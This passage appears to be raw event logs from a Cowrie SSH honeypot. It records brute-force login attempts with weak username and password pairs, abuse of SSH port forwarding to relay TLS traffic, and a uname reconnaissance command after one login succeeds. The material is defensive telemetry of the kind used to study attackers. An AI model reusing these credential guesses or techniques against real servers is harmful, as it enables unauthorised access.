x00&\\x00$\\x00\\x1d\\x00 u\\x93:\\xfby\\xc6g?.V\\xe1b\\x9a\\xe6\\xb3\\x1d\\xff+eS\\x921\\xf7<\\x8b2BC\\xfd\\x90\\x07\\n\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":4,"message":"discarded direct-tcp forward request 4 to 142.251.155.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfe\\nY\\xdc5U\\x95\\x16\\x04\\xb1\\x19\\xddc\\x85\\xc8\\x8cK\\xcd`g\\xe8\\xa31\\xe0\\xe3e,\\xff\\xb5\\xc99\\x10 ]o\\x18\\x84\\x07\\xf1\\xb4\\x04>\\xb1T\\x8aP`\\x9a\\\\N;\\t\\xa1\\x14*\\x82=\\xa2\\xdf\\xdfE\\xd16\\xffx\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 u\\x93:\\xfby\\xc6g?.V\\xe1b\\x9a\\xe6\\xb3\\x1d\\xff+eS\\x921\\xf7<\\x8b2BC\\xfd\\x90\\x07\\n\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:11.459656Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.154.119","dst_port":443,"src_ip":"77.90.185.17","src_port":39250,"message":"direct-tcp connection request to 142.251.154.119:443 from 127.0.0.1:39250","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:12.184199Z","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.154.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.154.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:12.770314Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.154.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`-<h\\x19\\nt\\x1e\\xc7DQ\\xf5\\x0e\\xfb\\xaf6u\\x10\\x91z\\x7f\\xae\\x8b\\xcbP\\xc0\\xbe\\xcb\\x19bOw \\x11\\xedU\\rl\\xa6\\xf1\\x17C!\\xbd1O\\xa3\\x9aTy\\x95\\xbd;\\xe6\\xf3\\xe3g\\xd9(\\x03-X\\x80\\xb3\\xe3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 s(\\x0c\\\\kO\\xb2\\xf4\\x9at\\x1c\\xf69+\\xcb\\x8a\\xb4\\xbei\\xb9\\x05o\\xa4\\xed+\\xd6\\x9f\\x88O,~-\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":5,"message":"discarded direct-tcp forward request 5 to 142.251.154.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`-<h\\x19\\nt\\x1e\\xc7DQ\\xf5\\x0e\\xfb\\xaf6u\\x10\\x91z\\x7f\\xae\\x8b\\xcbP\\xc0\\xbe\\xcb\\x19bOw \\x11\\xedU\\rl\\xa6\\xf1\\x17C!\\xbd1O\\xa3\\x9aTy\\x95\\xbd;\\xe6\\xf3\\xe3g\\xd9(\\x03-X\\x80\\xb3\\xe3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 s(\\x0c\\\\kO\\xb2\\xf4\\x9at\\x1c\\xf69+\\xcb\\x8a\\xb4\\xbei\\xb9\\x05o\\xa4\\xed+\\xd6\\x9f\\x88O,~-\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:12.773148Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:13.033481Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":37502,"dst_ip":"10.17.0.5","dst_port":22,"session":"6559fb8e9312","protocol":"ssh","message":"New connection: 2.57.122.238:37502 (10.17.0.5:22) [session: 6559fb8e9312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:14.969107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:14.974699Z","src_ip":"2.57.122.238","session":"6559fb8e9312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:15.074682Z","src_ip":"2.57.122.238","session":"6559fb8e9312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:15.479740Z","src_ip":"2.57.122.238","session":"6559fb8e9312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:16.585642Z","src_ip":"2.57.122.238","session":"6559fb8e9312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":57492,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7c3dae4acdb","protocol":"ssh","message":"New connection: 101.44.96.62:57492 (159.203.135.109:22) [session: c7c3dae4acdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:22.968555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:22.972713Z","src_ip":"101.44.96.62","session":"c7c3dae4acdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:23.186851Z","src_ip":"101.44.96.62","session":"c7c3dae4acdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:23.836550Z","src_ip":"101.44.96.62","session":"c7c3dae4acdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:25.053679Z","src_ip":"101.44.96.62","session":"c7c3dae4acdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":44204,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce3a63493c06","protocol":"ssh","message":"New connection: 101.44.96.62:44204 (159.203.135.109:22) [session: ce3a63493c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:36.549538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:36.553839Z","src_ip":"101.44.96.62","session":"ce3a63493c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:36.771480Z","src_ip":"101.44.96.62","session":"ce3a63493c06","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:37.423446Z","src_ip":"101.44.96.62","session":"ce3a63493c06","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:37.896489Z","src_ip":"101.44.96.62","session":"ce3a63493c06","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:37.899867Z","src_ip":"101.44.96.62","session":"ce3a63493c06","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:38.125534Z","src_ip":"101.44.96.62","session":"ce3a63493c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:38.131118Z","src_ip":"101.44.96.62","session":"ce3a63493c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51054,"dst_ip":"159.203.135.109","dst_port":22,"session":"197c81f86cec","protocol":"ssh","message":"New connection: 2.57.122.208:51054 (159.203.135.109:22) [session: 197c81f86cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:44.614111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:44.626659Z","src_ip":"2.57.122.208","session":"197c81f86cec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:44.838321Z","src_ip":"2.57.122.208","session":"197c81f86cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:45.313603Z","src_ip":"2.57.122.208","session":"197c81f86cec","protocol":"ssh"}
